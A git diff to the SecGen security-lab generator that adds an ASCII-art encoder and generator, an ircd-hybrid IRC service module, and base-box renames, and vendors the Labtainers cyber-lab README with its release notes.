diff --git a/Gemfile b/Gemfile index 07b1b93b5..ff1ed012c 100644 --- a/Gemfile +++ b/Gemfile @@ -36,6 +36,7 @@ gem 'digest-sha3', :git => "http://github.com/izetex/digest-sha3-ruby" gem 'packetfu' gem 'net-ntp' gem 'CFPropertyList' +gem 'artii' #development only gems go here group :test, :development do diff --git a/Gemfile.lock b/Gemfile.lock index 1868009da..02838b4b9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -26,6 +26,7 @@ GEM i18n (>= 0.7, < 2) minitest (~> 5.1) tzinfo (~> 1.1) + artii (2.1.2) bases (1.0.2) bcrypt (3.1.13) chunky_png (1.3.11) @@ -151,6 +152,7 @@ PLATFORMS DEPENDENCIES CFPropertyList + artii bases bcrypt braille! diff --git a/lib/helpers/constants.rb b/lib/helpers/constants.rb index 5f5fc865d..606fe1f0a 100644 --- a/lib/helpers/constants.rb +++ b/lib/helpers/constants.rb @@ -44,6 +44,7 @@ WORDLISTS_DIR = "#{ROOT_DIR}/lib/resources/wordlists" LINELISTS_DIR = "#{ROOT_DIR}/lib/resources/linelists" BLACKLISTED_WORDS_FILE = "#{ROOT_DIR}/lib/resources/blacklisted_words/blacklist.txt" IMAGES_DIR = "#{ROOT_DIR}/lib/resources/images" +ASCII_ART_DIR = "#{ROOT_DIR}/lib/resources/ascii_art" PASSWORDLISTS_DIR = "#{ROOT_DIR}/lib/resources/passwordlists" # Path to build puppet modules @@ -77,4 +78,4 @@ RETRIES_LIMIT = 10 # Version number of SecGen # e.g. [release state (0 = alpha, 3 = final release)].[Major bug fix].[Minor bug fix].[Cosmetic or other features] -VERSION_NUMBER = '0.0.1.1' \ No newline at end of file +VERSION_NUMBER = '0.0.1.1' diff --git a/lib/objects/post_provision_test.rb b/lib/objects/post_provision_test.rb index 99e4c9041..a7351f4c0 100644 --- a/lib/objects/post_provision_test.rb +++ b/lib/objects/post_provision_test.rb @@ -111,7 +111,10 @@ class PostProvisionTest def get_json_inputs json_inputs_path = "#{File.expand_path('../', self.module_path)}/secgen_functions/files/json_inputs/*" json_inputs_files = Dir.glob(json_inputs_path) - json_inputs_files.delete_if {|path| !path.include?(self.module_name)} + json_inputs_files.delete_if do |path| + end_path = path.split('/')[-1] + !end_path.include?(self.module_name) + end if json_inputs_files.size > 0 return JSON.parse(Base64.strict_decode64(File.read(json_inputs_files.first))) end diff --git a/lib/objects/system.rb b/lib/objects/system.rb index 1012fe9eb..39208946f 100644 --- a/lib/objects/system.rb +++ b/lib/objects/system.rb @@ -329,7 +329,8 @@ class System puts stderr outputs = stdout.chomp - unless status + # stop if any generators/encoders fail to execute + unless status == 0 Print.err "Module failed to run (#{command})" # TODO: this works, but subsequent attempts at resolving the scenario always fail ("Error can't add no data...") raise 'failed' diff --git a/lib/resources/ascii_art/README-sources.md b/lib/resources/ascii_art/README-sources.md new file mode 100644 index 000000000..3f4f99315 --- /dev/null +++ b/lib/resources/ascii_art/README-sources.md @@ -0,0 +1,2 @@ +Ascii art: +https://www.asciiart.eu diff --git a/lib/resources/ascii_art/computers/laptop b/lib/resources/ascii_art/computers/laptop new file mode 100644 index 000000000..b072cafde --- /dev/null +++ b/lib/resources/ascii_art/computers/laptop @@ -0,0 +1,13 @@ + +--------------+ + |.------------.| + || || + || || + || || + || || + |+------------+| + +-..--------..-+ + .--------------. + / /============\ \ + / /==============\ \ +/____________________\ +\____________________/ diff --git a/lib/resources/ascii_art/computers/pc b/lib/resources/ascii_art/computers/pc new file mode 100644 index 000000000..3525bb826 --- /dev/null +++ b/lib/resources/ascii_art/computers/pc @@ -0,0 +1,13 @@ + __________ + .'----------`. + | .--------. | + | |########| | __________ + | |########| | /__________\ +.--------| `--------' |------| --=-- |-------------. +| `----,-.-----' |o ====== | | +| ______|_|_______ |__________| | +| / %%%%%%%%%%%% \ | +| / %%%%%%%%%%%%%% \ | +| ^^^^^^^^^^^^^^^^^^^^ | ++-----------------------------------------------------+ +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ diff --git a/lib/resources/ascii_art/computers/pc2 b/lib/resources/ascii_art/computers/pc2 new file mode 100644 index 000000000..07fb52a00 --- /dev/null +++ b/lib/resources/ascii_art/computers/pc2 @@ -0,0 +1,15 @@ + ___________________ + | _______________ | + | |XXXXXXXXXXXXX| | + | |XXXXXXXXXXXXX| | + | |XXXXXXXXXXXXX| | + | |XXXXXXXXXXXXX| | + | |XXXXXXXXXXXXX| | + |_________________| + _[_______]_ + ___[___________]___ +| [_____] []|__ +| [_____] []| \__ +L___________________J \ \___\/ + ___________________ /\ +/###################\ (__) diff --git a/lib/resources/ascii_art/computers/pc3 b/lib/resources/ascii_art/computers/pc3 new file mode 100644 index 000000000..5af04ba0a --- /dev/null +++ b/lib/resources/ascii_art/computers/pc3 @@ -0,0 +1,18 @@ + _______ + | ___ o| + |[_-_]_ | + ______________ |[_____]| + |.------------.| |[_____]| + || || |[====o]| + || || |[_.--_]| + || || |[_____]| + || || | :| + ||____________|| | :| + .==.|"" ...... |.==.| :| + |::| '-.________.-' |::|| :| + |''| (__________)-.|''||______:| + `""`_.............._\""`______ + /:::::::::::'':::\`;'-.-. `\ + /::=========.:.-::"\ \ \--\ \ + \`""""""""""""""""`/ \ \__) \ +jgs `""""""""""""""""` '========' diff --git a/lib/resources/ascii_art/computers/server b/lib/resources/ascii_art/computers/server new file mode 100644 index 000000000..06e648e74 --- /dev/null +++ b/lib/resources/ascii_art/computers/server @@ -0,0 +1,30 @@ + ,=====================. + | | + |.-------------------.| + ||[ _ o . . _ ]_|| + |`-------------------'| + || || + |`-------------------'| + || || + |`-------------------'| + || || + |`-----------------_-'| + ||[=========]| o (@) | + |`---------=='/u\ --- | + |------_--------------| + | (/) (_) []| + |---==--==----------==| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + ||||||||||||||||||||||| + |||||||||||||||||dxm||| + ||||||||||||||||||||||| + |=====================| + .' `. +""""""""""""""""""""""""""" diff --git a/lib/schemas/scenario_schema.xsd b/lib/schemas/scenario_schema.xsd index e1038d354..f48d8f537 100644 --- a/lib/schemas/scenario_schema.xsd +++ b/lib/schemas/scenario_schema.xsd @@ -88,6 +88,8 @@ + + diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb index df4312e0f..356dddb0f 100644 --- a/lib/templates/Vagrantfile.erb +++ b/lib/templates/Vagrantfile.erb @@ -173,7 +173,7 @@ end <% # Static oVirt networking -%> <% if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) -%> <% interface = 'ens3' -%> -<% if @ovirt_base_template and @ovirt_base_template =~ /kali|debian_desktop_kde|debian_server/ -%> +<% if @ovirt_base_template and @ovirt_base_template =~ /kali|debian_desktop_kde|debian_wheezy_server/ -%> <% interface = 'eth0' -%> <% end -%> # use some shell scripting to identify the name of the network interface (eth0/ens3/...), and set the IP address statically diff --git a/modules/bases/debian_stretch/secgen_metadata.xml b/modules/bases/debian_stretch_server/secgen_metadata.xml similarity index 100% rename from modules/bases/debian_stretch/secgen_metadata.xml rename to modules/bases/debian_stretch_server/secgen_metadata.xml diff --git a/modules/bases/debian_puppet_32/secgen_metadata.xml b/modules/bases/debian_wheezy_server/secgen_metadata.xml similarity index 95% rename from modules/bases/debian_puppet_32/secgen_metadata.xml rename to modules/bases/debian_wheezy_server/secgen_metadata.xml index 284255326..8fa3c38a0 100644 --- a/modules/bases/debian_puppet_32/secgen_metadata.xml +++ b/modules/bases/debian_wheezy_server/secgen_metadata.xml @@ -17,7 +17,7 @@ Debian 7.8 (wheezy) 32-bit (i386) https://app.vagrantup.com/secgen/boxes/debian_wheezy_puppet/versions/1.0.2/providers/virtualbox.box https://app.vagrantup.com/redwiz666/boxes/debian_wheezy_puppet/versions/1.0.0/providers/vmware_esxi.box - debian_server + debian_wheezy_server https://atlas.hashicorp.com/puppetlabs various diff --git a/modules/encoders/format/ascii_art/ascii_art.pp b/modules/encoders/format/ascii_art/ascii_art.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/format/ascii_art/manifests/.no_puppet b/modules/encoders/format/ascii_art/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/format/ascii_art/secgen_local/local.rb b/modules/encoders/format/ascii_art/secgen_local/local.rb new file mode 100644 index 000000000..d64c903d9 --- /dev/null +++ b/modules/encoders/format/ascii_art/secgen_local/local.rb @@ -0,0 +1,37 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_encoder.rb' +require 'artii' + +class ASCIIArtEncoder < StringEncoder + attr_accessor :font + + def initialize + super + self.module_name = 'Ascii Art Encoder' + self.font = [] + end + + def encode(str) + # if more than one font is specified, randomly choose one for every string that is encoded + artii = Artii::Base.new :font => self.font.sample + artii.asciify(str) + end + + def process_options(opt, arg) + super + case opt + # Removes any non-alphabet characters + when '--font' + self.font << arg + else + # do nothing + end + end + + def get_options_array + super + [['--font', GetoptLong::OPTIONAL_ARGUMENT]] + end + +end + +ASCIIArtEncoder.new.run diff --git a/modules/encoders/format/ascii_art/secgen_metadata.xml b/modules/encoders/format/ascii_art/secgen_metadata.xml new file mode 100644 index 000000000..09c4cfda5 --- /dev/null +++ b/modules/encoders/format/ascii_art/secgen_metadata.xml @@ -0,0 +1,61 @@ + + + + Text to ASCII Art + Z. Cliffe Schreuders + MIT + Outputs an ASCII art version of the text. Works best with short strings. + + + string_format_encoder + linux + windows + + strings_to_encode + font + + + + + banner + big + bubble + bulbhead + contessa + doom + drpepper + fourtops + invita + italic + larry3d + maxfour + mini + moscow + ntgreek + ogre + pawp + pebbles + puffy + rectangles + serifcap + short + slant + slscript + small + smisome1 + smslant + speed + standard + straight + twopoint + + + + + + + encoded_strings + + diff --git a/modules/generators/compression/zip/secgen_local/local.rb b/modules/generators/compression/zip/secgen_local/local.rb index 08c933f0b..b12416166 100644 --- a/modules/generators/compression/zip/secgen_local/local.rb +++ b/modules/generators/compression/zip/secgen_local/local.rb @@ -33,9 +33,9 @@ class ZipGenerator < StringEncoder zip_file.get_output_stream(self.file_name) { |os| os.write data } - file_contents = File.binread(zip_file_path) - FileUtils.rm(zip_file_path) end + file_contents = File.binread(zip_file_path) + FileUtils.rm(zip_file_path) end self.outputs << Base64.strict_encode64(file_contents) end @@ -65,4 +65,4 @@ class ZipGenerator < StringEncoder end end -ZipGenerator.new.run \ No newline at end of file +ZipGenerator.new.run diff --git a/modules/generators/image/random_jpg/secgen_local/local.rb b/modules/generators/image/random_jpg/secgen_local/local.rb index 136b4914f..04d80a02d 100644 --- a/modules/generators/image/random_jpg/secgen_local/local.rb +++ b/modules/generators/image/random_jpg/secgen_local/local.rb @@ -1,6 +1,7 @@ #!/usr/bin/ruby require 'base64' require 'rmagick' +require 'fileutils' require_relative '../../../../../lib/objects/local_string_encoder.rb' class ImageGenerator < StringEncoder attr_accessor :selected_image_path @@ -23,6 +24,7 @@ class ImageGenerator < StringEncoder image.write(tmp_file_path) self.outputs << Base64.strict_encode64(File.binread(tmp_file_path)) + FileUtils.rm(tmp_file_path) end def encoding_print_string @@ -30,4 +32,4 @@ class ImageGenerator < StringEncoder end end -ImageGenerator.new.run \ No newline at end of file +ImageGenerator.new.run diff --git a/modules/generators/messages/random_ascii_art/manifests/.no_puppet b/modules/generators/messages/random_ascii_art/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/messages/random_ascii_art/random_ascii_art.pp b/modules/generators/messages/random_ascii_art/random_ascii_art.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/messages/random_ascii_art/secgen_local/local.rb b/modules/generators/messages/random_ascii_art/secgen_local/local.rb new file mode 100644 index 000000000..106ea6c6d --- /dev/null +++ b/modules/generators/messages/random_ascii_art/secgen_local/local.rb @@ -0,0 +1,22 @@ +#!/usr/bin/ruby +require 'base64' +require_relative '../../../../../lib/objects/local_string_encoder.rb' +class AsciiImageGenerator < StringEncoder + attr_accessor :selected_art_path + + def initialize + super + self.module_name = 'Random Ascii Art Image Generator' + self.selected_art_path = Dir["#{ASCII_ART_DIR}/computers/*"].sample + end + + def encode_all + self.outputs << File.read(self.selected_art_path) + end + + def encoding_print_string + 'Random ascii image generator: ' + self.selected_art_path + end +end + +AsciiImageGenerator.new.run diff --git a/modules/generators/messages/random_ascii_art/secgen_metadata.xml b/modules/generators/messages/random_ascii_art/secgen_metadata.xml new file mode 100644 index 000000000..cf0ff1233 --- /dev/null +++ b/modules/generators/messages/random_ascii_art/secgen_metadata.xml @@ -0,0 +1,19 @@ + + + + Random ASCII Art Generator + Z. Cliffe Schreuders + MIT + Selects and outputs random ascii art image from the lib/resources/ascii_art/computers directory. + + message_generator + ascii_art_generator + local_calculation + linux + windows + + ascii_art + + diff --git a/modules/generators/structured_content/person/secgen_metadata.xml b/modules/generators/structured_content/person/secgen_metadata.xml index 31c1eefd0..229df1fd8 100644 --- a/modules/generators/structured_content/person/secgen_metadata.xml +++ b/modules/generators/structured_content/person/secgen_metadata.xml @@ -41,7 +41,7 @@ - + diff --git a/modules/services/unix/irc/irc2/manifests/config.pp b/modules/services/unix/irc/irc2/manifests/config.pp index b695b652c..cf66fbc7a 100644 --- a/modules/services/unix/irc/irc2/manifests/config.pp +++ b/modules/services/unix/irc/irc2/manifests/config.pp @@ -1,4 +1,4 @@ -class irc2::config{ +class irc2::config { service { 'ircd-irc2': enable => true, ensure => 'running', diff --git a/modules/services/unix/irc/irc2/manifests/install.pp b/modules/services/unix/irc/irc2/manifests/install.pp index 0c8efb535..8ccd8657c 100644 --- a/modules/services/unix/irc/irc2/manifests/install.pp +++ b/modules/services/unix/irc/irc2/manifests/install.pp @@ -1,5 +1,5 @@ -class irc2::install{ - package { ['ircd-irc2']: +class irc2::install { + package { 'ircd-irc2': ensure => 'installed', } } diff --git a/modules/services/unix/irc/irc2/secgen_metadata.xml b/modules/services/unix/irc/irc2/secgen_metadata.xml index 7003e5abf..2fecad5ac 100644 --- a/modules/services/unix/irc/irc2/secgen_metadata.xml +++ b/modules/services/unix/irc/irc2/secgen_metadata.xml @@ -20,6 +20,7 @@ ircd + .*Debian.*Stretch.* diff --git a/modules/services/unix/irc/ircd_hybrid/ircd_hybrid.pp b/modules/services/unix/irc/ircd_hybrid/ircd_hybrid.pp new file mode 100644 index 000000000..6b07edba1 --- /dev/null +++ b/modules/services/unix/irc/ircd_hybrid/ircd_hybrid.pp @@ -0,0 +1,2 @@ +include ircd_hybrid::install +include ircd_hybrid::config diff --git a/modules/services/unix/irc/ircd_hybrid/manifests/config.pp b/modules/services/unix/irc/ircd_hybrid/manifests/config.pp new file mode 100644 index 000000000..2996e601b --- /dev/null +++ b/modules/services/unix/irc/ircd_hybrid/manifests/config.pp @@ -0,0 +1,6 @@ +class ircd_hybrid::config { + service { 'ircd-hybrid': + enable => true, + ensure => 'running', + } +} diff --git a/modules/services/unix/irc/ircd_hybrid/manifests/install.pp b/modules/services/unix/irc/ircd_hybrid/manifests/install.pp new file mode 100644 index 000000000..5711c30d4 --- /dev/null +++ b/modules/services/unix/irc/ircd_hybrid/manifests/install.pp @@ -0,0 +1,5 @@ +class ircd_hybrid::install { + package { 'ircd-hybrid': + ensure => 'installed', + } +} diff --git a/modules/services/unix/irc/ircd_hybrid/secgen_metadata.xml b/modules/services/unix/irc/ircd_hybrid/secgen_metadata.xml new file mode 100644 index 000000000..c3c0ebb9a --- /dev/null +++ b/modules/services/unix/irc/ircd_hybrid/secgen_metadata.xml @@ -0,0 +1,33 @@ + + + + IRC Server ircd-hybrid + Z. Cliffe Schreuders + MIT + A lightweight, high-performance internet relay chat daemon. + + + ircd + linux + + + ircd-hybrid + MIT + + + ircd + + + + .*Kali.* + + + + .*Wheezy.* + + + update + + diff --git a/modules/services/unix/irc/ircd_hybrid/secgen_test/ircd_hybrid.rb b/modules/services/unix/irc/ircd_hybrid/secgen_test/ircd_hybrid.rb new file mode 100644 index 000000000..7761fac90 --- /dev/null +++ b/modules/services/unix/irc/ircd_hybrid/secgen_test/ircd_hybrid.rb @@ -0,0 +1,17 @@ +require_relative '../../../../../lib/post_provision_test' + +class IRC2Test < PostProvisionTest + def initialize + self.module_name = 'irc2' + self.module_path = get_module_path(__FILE__) + super + self.port = 6667 + end + + def test_module + super + test_service_up + end +end + +IRC2Test.new.run \ No newline at end of file diff --git a/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/manifests/install.pp b/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/manifests/install.pp index b45b4a3d4..e2ce410e1 100644 --- a/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/manifests/install.pp +++ b/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/manifests/install.pp @@ -1,5 +1,5 @@ class kali_top10::install{ - package { ['kali-linux-top10']: + package { ['kali-linux-top10', 'nfs-common', 'ftp']: ensure => 'installed', } } diff --git a/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/secgen_metadata.xml b/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/secgen_metadata.xml index bac3c97b4..f77e3af9f 100644 --- a/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/secgen_metadata.xml +++ b/modules/utilities/unix/attack_tools/kali_metapackages/kali_top10/secgen_metadata.xml @@ -7,7 +7,7 @@ Z. Cliffe Schreuders GPLv3 Installs a collection of software onto Kali. - kali-linux-top10 + kali-linux-top10 (and some other common attack tools) In Kali Linux, we have a sub-menu called “Top 10 Security Tools”. The kali-linux-top10 metapackage will install all of these tools for you in one fell swoop. Installation Size: 3.5 GB diff --git a/modules/utilities/unix/container/chroot_debootstrap/secgen_metadata.xml b/modules/utilities/unix/container/chroot_debootstrap/secgen_metadata.xml index 81e7f290e..41021dd4c 100644 --- a/modules/utilities/unix/container/chroot_debootstrap/secgen_metadata.xml +++ b/modules/utilities/unix/container/chroot_debootstrap/secgen_metadata.xml @@ -14,9 +14,14 @@ chroot_dir - /srv/chroot + /opt/chroot + + + .*Debian.*Wheezy.* + + update diff --git a/modules/utilities/unix/container/docker/secgen_metadata.xml b/modules/utilities/unix/container/docker/secgen_metadata.xml index f262f84da..b2e44ed53 100644 --- a/modules/utilities/unix/container/docker/secgen_metadata.xml +++ b/modules/utilities/unix/container/docker/secgen_metadata.xml @@ -29,8 +29,13 @@ busybox + + + .*Debian.*Wheezy.* + update + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/README.md b/modules/utilities/unix/labtainers/files/Labtainers-master/README.md new file mode 100644 index 000000000..8e3ad7c6b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/README.md @@ -0,0 +1,465 @@ +Labtainers: A Docker-based cyber lab framework +============================================== + +Labtainers include more than 45 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises. + +* Consistent lab execution environments and automated provisioning via Docker containers +* Multi-component network topologies on a modestly performing laptop computer +* Automated assessment of student lab activity and progress +* Individualized lab exercises to discourage sharing solutions + +Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student's computer. The only requirement is that the Linux system supports Docker. See the [Papers][Papers] for additional information about the framework. +The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at . + +[Papers]: https://my.nps.edu/web/c3o/labtainers#papers + +Distribution created: mm/dd/yyyy +Revision: + +## Content +[Distribution and Use](#distribution-and-use) + +[Guide to directories](#guide-to-directories) + +[Support](#support) + +[Release notes](#release-notes) + +## Distribution and Use +Labtainers was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. + +However, several of the labs are derived from SEED labs from +Syracuse University, and include copyrighted and licensed elements +as set forth in their respective Lab Manuals. These labs include: +bufoverflow, capabilities, formatstring, local-dns, onewayhash, +retlibc, setuid-env, sql-inject, tcpip, webtrack, xforge and xsite. + +## Guide to directories + +* scripts/labtainers-student -- the work directory for running and + testing student labs. You must be in that directory to run + student labs. + +* scripts/labtainers-instructor -- the work directory for + running and testing automated assessment and viewing student + results. + +* labs -- Files specific to each of the labs + +* setup_scripts -- scripts for installing Labtainers and Docker and updating Labtainers + +* docs -- latex source for the labdesigner.pdf, and other documentation. + +* config -- system-wide configuration settings (these are not the + lab-specific configuration settings. + +* distrib -- distribution support scripts, e.g., for publishing labs to the Docker hub. + +* testsets -- Test procedures and expected results. (Per-lab drivers for SimSec are not +distributed). + +* pkg-mirrors -- utility scripts for internal NPS package mirroring to reduce external +package pulling during tests and distribution. + +## Support +Use the GitHub issue reports, or email me at mfthomps@nps.edu + +Also see + + +## Release notes + +The standard Labtainers distribution does not include files required for development +of new labs. For those, run ./update-designer.sh from the labtainer/trunk/setup\_scripts directory. + +The installation script and the update-designer.sh script set environment variables, +so you may want to logout/login, or start a new bash shell before using Labtainers the +first time. +May 2, 2019 +- Acl lab fix to bobstuff.txt permissions. Use explicit chmod in fixlocal.sh +- Revise student guide to clarify use of stop and -r option in body of the manual. +March 9, 2019 +- The checkwork function was reusing containers, thereby preventing students from eliminating artifacts +from previous lab work. +- Add appendix to the symkey lab to describe the BMP image format. +February 22 +- The http server failed to start in the vpn and vpn2 labs. Automated assessment removed from those labs until reworked. +January 7, 2019 +- Fix gdblesson automated assessment to at least be operational. +January 27, 2018 +- Fix lab manual for routing-basics2 and fix routing to enable external access to internal web server. + +December 29, 2018 +- Fix routing-basics2, same issues as routing-basics, plus an incorret ip address in the gateway resolv.conf + +December 5, 2018 +- Fix routing-basics lab, dns resolution at isp and gatway components was broken. + +November 14, 2018 +- Remove /run/nologin from archive machine in backups2 -- need general solution for this nologin issue + +November, 5, 2018 +- Change file-integrity lab default aid.conf to track metadata changes rather than file modification times + +October 22, 2018 +- macs-hash lab resolution verydodgy.com failed on lab restart +- Notify function failed if notify_cb.sh is missing + +October 12, 2018 +- Set ulimit on file size, limit to 1G + +October 10, 2018 +- Force collection of parameterized files +- Explicitly include leafpad and ghex in centos-xtra baseline and rebuild dependent images. + +September 28, 2018 +- Fix access modes of shared file in ACL lab +- Clarify question in pass-crack +- Modify artifact collection to ignore files older than start of lab. +- Add quantum computing algorithms lab + +September 12, 2018 +- Fix setuid-env grading syntax errors +- Fix syntax error in iptables2 example firewall rules +- Rebuild centos labs, move lamp derivatives to use lamp.xtr for waitparam and force +httpd to wait for that to finish. + +September 7, 2018 +- Add CyberCIEGE as a lab +- read\_pre.txt information display prior to pull of images, and chance to bail. + +September 5, 2018 +- Restore sakai bulk download processing to gradelab function. +- Remove unused instructor scripts. + +September 4, 2018 +- Allow multiple IP addresses per network interface +- Add base image for Wine +- Add GRFICS virtual ICS simulation + +August 23, 2018 +- Add GrassMarlin lab (ICS network discovery) + +August 23, 2018 +- Add GrassMarlin lab (ICS network discovery) + +August 21, 2018 +- Another fix around AWS authentication issues (DockerHub uses AWS). +- Fix new\_lab\_setup.py to use git instead of svn. +- Split plc-forensics lab into a basic lab and and advanced lab (plc-forensics-adv) + +August 17, 2018 +- Transition to git & GitHub as authoritative repo. + +August 15, 2018 +- Modify plc-forensics lab assessment to be more general; revise lab manual to reflect wireshark on the Labtainer. + +August 15, 2018 +- Add "checkwork" command allowing students to view automated assessment results for their lab work. +- Include logging of iptables packet drops in the iptables2 and the iptables-ics lab. +- Remove obsolete instances of is\_true and is\_false from goal.config +- Fix boolean evaluation to handle "NOT foo", it had expected more operands. + +August 9, 2018 +- Support parameter replacement in results.config files +- Add TIME\_DELIM result type for results.config +- Rework the iptables lab, remove hidden nmap commands, introduce custom service + +August 7, 2018 +- Add link to student guide in labtainer-student directory +- Add link to student guide on VM desktops +- Fixes to iptables-ics to avoid long delay on shutdown; and fixes to regression tests +- Add note to guides suggesting student use of VM browser to transfer artifact zip file to instructor. + +August 1, 2018 +- Use a generic Docker image for automated assessment; stop creating "instructor" images per lab. + +July 30, 2018 +- Document need to unblock the waitparam.service (by creating flag directory) +if a fixlocal.sh script is to start a service for which waitparam is a +prerequisite. +- Add plc-app lab for PLC application firewall and whitelisting exercise. + +July 25, 2018 +- Add string\_contains operator to goals processing +- Modify assessment of formatstring lab to account for leaked secret not always being +at the end of the displayed string. + +July 24, 2018 +- Add SSH Agent lab (ssh-agent) + +July 20, 2018 +- Support offline building, optionally skip all image pulling +- Restore apt/yum repo restoration to Dockerfile templates. +- Handle redirect URL's from Docker registry blob retrieval to avoid +authentication errors (Do not rely on curl --location). + +July 12, 2018 +- Add prestop feature to allow execution of designer-specified scripts on +selected components prior to lab shutdown. +- Correct host naming in the ssl lab, it was breaking automated assessment. +- Fix dmz-lab initial state to permit DNS resolutions from inner network. +- FILE\REGEX processing was not properly handling multiline searches. +- Framework version derived from newly rebuilt images had incorrect default value. + +July 10, 2018 +- Add an LDAP lab +- Complete transition to systemd based Ubuntu images, remove unused files +- Move lab\_sys tar file to per-container tmp directory for concurrency. + +July 6, 2018 +- All Ubuntu base images replaced with versions based on systemd +- Labtainer container images in registry now tagged with base image ID & have labels reflecting +the base image. +- A given installation will pull and use images that are consistent with the base images it possesses. +- If you are using a VM image, you may want to replace that with a newer VM image from our website. +- New labs will not run without downloading newer base images; which can lead to your VM storing multiple +versions of large base images (> 500 MB each). +- Was losing artifacts from processes that were running when lab was stopped -- was not properly killing capinout +processes. + +June 27, 2018 +- Add support for Ubuntu systemd images +- Remove old copy of SimLab.py from labtainer-student/bin +- Move apt and yum sources to /var/tmp +- Clarify differences between use of "boolean" and "count\_greater" in assessments +- Extend Add-HOST in start.config to include all components on a network. +- Add option to new\_lab\_setup.py to add a container based on a copy of an existing container. + +June 21, 2018 +- Set DISPLAY env for root +- Fix to build dependency handling of svn status output +- Add radius lab +- Bug in SimLab append corrected +- Use svn, where appropriate, to change file names with new\_lab\_setup.py + +June 19, 2018 +- Retain order of containers defined in start.conf when creating terminal with multiple tabs +- Clarify designer manual to identify path to assessment configuration files. +- Remove prompt for instructor to provide email +- Botched error checking when testing for version number +- Include timestamps of lab starts and redos in the assessment json +- Add an SSL lab that includes bi-directional authentication and creation of certificates. + +June 14, 2018 +- Add diagnostics to parameterizing, track down why some install seem to fail on that. +- If a container is already created, make sure it is parameterized, otherwise bail to avoid corrupt or half-baked containers. +- Fix program version number to use svn HEAD + +June 15, 2018 +- Convert plain text instructions that appeared in xterms into pdf file. +- Fix bug in version handling of images that have not yet been pulled. +- Detect occurance of a container that was created, but not parameterized, +and prompt the user to restart the lab with the "-r" option. +- Add designer utility: rm\_svn.py so that removed files trigger an image rebuild. + +June 13, 2018 +- Install xterm on Ubuntu 18 systems +- Work around breakage in new versions of gnome-terminal tab handling + +June 11, 2018 +- Add version checking to compare images to the framework. +- Clarify various lab manuals + +June 2, 2018 +- When installing on Ubuntu 18, use docker.io instead of docker-ce +- The capinout caused a crash when a "sudo su" monitored command is followed by +a non-elevated user command. +- Move routing and resolv.conf settings into /etc/rc.local instead of fixlocal.sh +so they persist across start/stop of the containers. + +May 31, 2018 +- Work around Docker bug that caused text to wrap in a terminal without a line feed. +- Extend COMMAND\_COUNT to account for pipes +- Create new version of backups lab that includes backups to a remote server and +backs up an entire partition. +- Alter sshlab instructions to use ssh-copy-id utility +- Delte /run/nologin file from parameterize.sh to permit ssh login on CentOS + +May 30, 2018 +- Extended new\_lab\_setup.py to permit identification of the base image to use +- Create new version of centos-log that includes centralized logging. +- Assessment validation was not accepting "time\_not\_during" option. +- Begin to integrate Labtainer Master for managing Labtainers from a Docker container. + +May 25, 2018 +- Remove 10 second sleeps from various services. Was delaying xinetd responses, breaking +automated tests. +- Fix snort lab grading to only require "CONFIDENTIAL" in the alarm. Remove unused +files from lab. +- Program finish times were not recorded if the program was running when the lab +was stopped. + +May 21, 2018 +- Fix retlibc grading to remove duplicate goal, was failing automated assessment +- Remove copies of mynotify.py from individual labs and lab template, it is +has been part of lab\_sys/sbin, but had not been updated to reflect fixes made +for acl lab. + +May 18, 2018 +- Mask signal message from exec\_wrap so that segv error message looks right. +- The capinout was sometimes losing stdout, check command stdout on death of cmd. +- Fix grading of formatstring to catch segmentation fault message. +- Add type\_function feature to SimLab to type stdout of a script (see formatstring simlab). +- Remove SimLab limitation on combining single/double quotes. +- Add window\_wait directive to SimLab to pause until window with given title +can be found. +- Modify plc lab to alter titles on physical world terminal to reflect status, +this also makes testing easier. +- Fix bufoverflow lab manual link. + +May 15, 2018 +- Add appendix on use of the SimLab tool to simulate user performance of labs for +regression testing and lab development. +- Add wait\_net function to SimLab to pause until selected network connections terminate. +- Change acl automated assessment to use FILE\_REGEX for multiline matching. +- SimLab test for xsite lab. + +May 11, 2018 +- Add "noskip" file to force collection of files otherwise found in home.tar, needed +for retrieving Firefox places.sqlite. +- Merge sqlite database with write ahead buffer before extracting. +- Corrections to lab manual for the symkeylab +- Grading additions for symkeylab and pubkey +- Improvements to simlab tool: support include, fix window naming. + +May 9, 2018 +- Fix parameterization of the file-deletion lab. Correct error its lab manual. +- Replace use of shell=True in python scripts to reduce processes and allow tracking PIDs +- Clean up manuals for backups, pass-crack and macs-hash. + +May 8, 2018 +- Handle race condition to prevent gnome-terminal from executing its docker command +before an xterm instruction terminal runs its command. +- Don't display errors when instuctor stops a lab started with "-d". +- Change grading of nmap-ssh to better reflect intent of the lab. +- Several document and script fixes suggested by olberger on github. + +May 7, 2018 +- Use C-based capinout program instead of the old capinout.sh to capture stdin and +stdout. See trunk/src-tool/capinout. Removes limitations associated with use 